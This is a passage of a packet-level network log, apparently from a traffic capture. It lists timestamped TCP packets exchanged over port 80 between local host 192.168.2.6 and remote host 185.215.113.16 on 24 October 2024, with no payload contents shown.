Oct 24, 2024 11:02:32.652316093 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.652328968 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.652339935 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.652342081 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:32.652470112 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.652482986 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.652497053 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.652503967 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:32.652535915 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.652565956 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:32.652565956 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:32.652590036 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.652601957 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.652616978 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.652679920 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:32.652679920 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:32.652795076 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.652816057 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.653075933 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:32.689970970 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.690084934 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.690295935 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:32.690347910 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.690475941 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.690651894 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.690700054 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.690715075 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.690732956 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:32.690757036 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.690784931 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:32.691096067 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:32.691174984 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.691281080 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.691293001 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.691304922 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.691325903 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.691354036 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:32.691406012 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.691418886 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.691431046 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.691443920 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.691450119 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.691468000 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:32.691500902 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:32.691500902 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:32.732130051 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.732156992 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.732170105 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.732228041 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.732240915 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.732268095 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:32.732438087 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:32.737514973 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.737538099 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.737551928 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.737586021 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:32.737971067 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:32.739085913 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.739110947 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.739124060 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.739232063 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:32.739253044 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.739265919 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.739279985 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.739290953 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.739305973 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.739324093 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.739345074 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:32.739345074 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:32.739357948 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.739371061 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.739377975 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.739392996 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:32.739458084 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:32.739458084 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:32.768327951 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.768385887 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.768397093 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.768409967 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.768420935 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.768440008 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.768455029 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.768469095 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.768481970 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.768488884 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:32.768657923 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.768670082 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.768682957 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.768686056 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:32.768717051 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:32.768753052 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.768764973 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.768775940 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.768785000 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:32.769140005 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:32.769790888 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.769814014 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.769826889 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.769875050 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.769886017 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.769896984 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.769917011 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:32.769917011 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:32.770021915 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.770034075 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.770046949 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.770056009 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:32.770087957 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:32.770172119 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.770184040 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.770190954 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.770219088 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:32.770229101 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.770278931 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:32.770279884 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.770303965 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.770308971 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:32.770317078 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.770323992 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.770544052 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.770554066 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.770566940 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.770581007 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:32.770602942 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:32.770617962 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.770629883 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.770642042 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.770654917 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.770665884 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.770678997 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:32.770679951 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:32.770935059 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.770947933 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.770958900 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.770977020 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:32.771019936 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:32.771058083 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.771070957 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.771084070 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.771100044 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.771112919 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.771114111 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:32.771133900 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:32.771271944 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.771306992 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:32.771337986 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.771348953 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.771403074 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.771435022 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.771441936 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:32.771445990 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.771470070 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.771538019 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:32.808697939 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.808712006 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.808751106 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.808794975 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:32.809089899 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:32.809485912 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.809509039 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.809520960 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.809583902 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.809596062 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.809621096 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:32.809674978 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:32.809770107 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.809823036 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.809845924 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.809856892 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.809870005 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.809874058 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:32.809902906 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:32.810034037 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:32.810127020 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.810138941 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.810151100 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.810165882 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.810178041 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.810189009 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:32.810271025 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:32.851366043 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.851387978 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.851402044 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.851416111 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.851489067 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:32.851524115 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.851874113 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:32.856070995 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.856123924 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.856133938 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.856146097 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.856178999 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:32.856301069 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:32.857593060 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.857616901 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.857626915 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.857639074 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.857708931 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.857727051 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.857760906 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:32.857820034 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.857839108 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.857851028 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.857862949 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.857882023 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:32.857924938 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:32.857924938 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:32.857939005 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.858197927 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.858210087 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.858407974 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:32.887363911 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.887387991 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.887401104 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.887429953 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.887440920 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.887453079 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.887458086 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:32.887484074 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:32.887500048 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.887511969 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.887522936 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.887526989 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:32.887543917 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.887557983 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.887571096 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.887573004 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:32.887573004 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:32.887603045 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:32.888629913 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.888727903 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.888727903 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:32.888742924 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.888767004 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.888778925 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.888789892 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.888802052 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.888814926 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.888814926 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:32.888824940 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.888838053 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.888864994 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:32.888864994 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:32.888900042 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.888911963 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.888925076 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.888943911 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.888962030 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:32.888988018 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.889000893 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.889014006 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:32.889014006 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.889025927 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.889038086 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.889051914 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:32.889062881 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:32.889082909 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.889086008 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:32.889095068 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.889107943 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.889136076 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:32.890285969 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.890306950 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.890320063 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.890369892 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:32.890369892 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:32.890376091 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.890389919 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.890402079 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.890429020 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.890439987 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.890450001 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:32.890453100 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.890465021 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.890476942 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.890527010 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:32.890527010 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:32.890527010 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:32.890546083 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.890558004 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.890572071 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.890583038 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.890594959 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.890628099 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:32.890628099 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:32.927654982 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.927668095 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.927680016 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.927746058 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.927753925 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:32.927753925 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:32.927761078 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.927772999 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.928467035 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:32.929300070 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.929383039 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.929394960 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.929413080 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:32.929435968 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.929447889 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.929459095 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.929465055 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:32.929527044 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.929543018 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.929548979 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.929555893 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.929565907 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.929584026 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.929584980 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:32.929595947 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.929596901 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:32.929608107 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.929617882 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.929632902 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:32.929645061 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:32.929702044 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:32.970796108 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.970830917 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.970846891 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.970864058 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.970892906 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:32.970931053 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:32.975892067 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.975910902 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.975930929 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.976006031 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:32.976793051 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.976850033 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:32.976871014 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.976883888 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.976896048 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.976907015 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.976917028 CEST	49756	80	192.168.2.6	185.215.113.16
